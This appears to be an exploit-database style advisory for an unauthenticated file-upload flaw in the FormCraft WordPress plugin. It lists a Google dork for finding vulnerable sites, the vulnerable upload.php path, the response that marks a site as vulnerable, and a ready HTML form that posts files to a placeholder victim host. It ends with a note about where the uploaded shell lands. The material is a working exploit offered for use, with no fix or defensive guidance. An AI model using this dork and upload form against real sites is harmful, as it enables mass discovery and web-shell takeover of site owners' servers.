WordPress Plugins FromCraft File Upload

#- Title: WordPress Plugins FromCraft File Upload 

#- Author: -

#- Date: -

#- Developer : AndonDesign

#- Link Download : wordpress .org/plugins/formcraft-form-builder

#- Google Dork: inurl:"/plugins/formcraft/"

#- Fixed in Version : -

#- Tested on : win

=======================================================

-- Proof Of Concept --

Vulnerable : /wp-content/plugins/formcraft/file-upload/server/php/upload.php

When Vuln : {"files":

CSRF :

<form method=”POST” action=”http://victim. com/wp-content/plugins/formcraft/file-upload/server/php/upload.php”enctype=”multipart/form-data”><input type=”file” name=”files[]” /><button>Upload</button></form>

Shell Path : Here

Tweet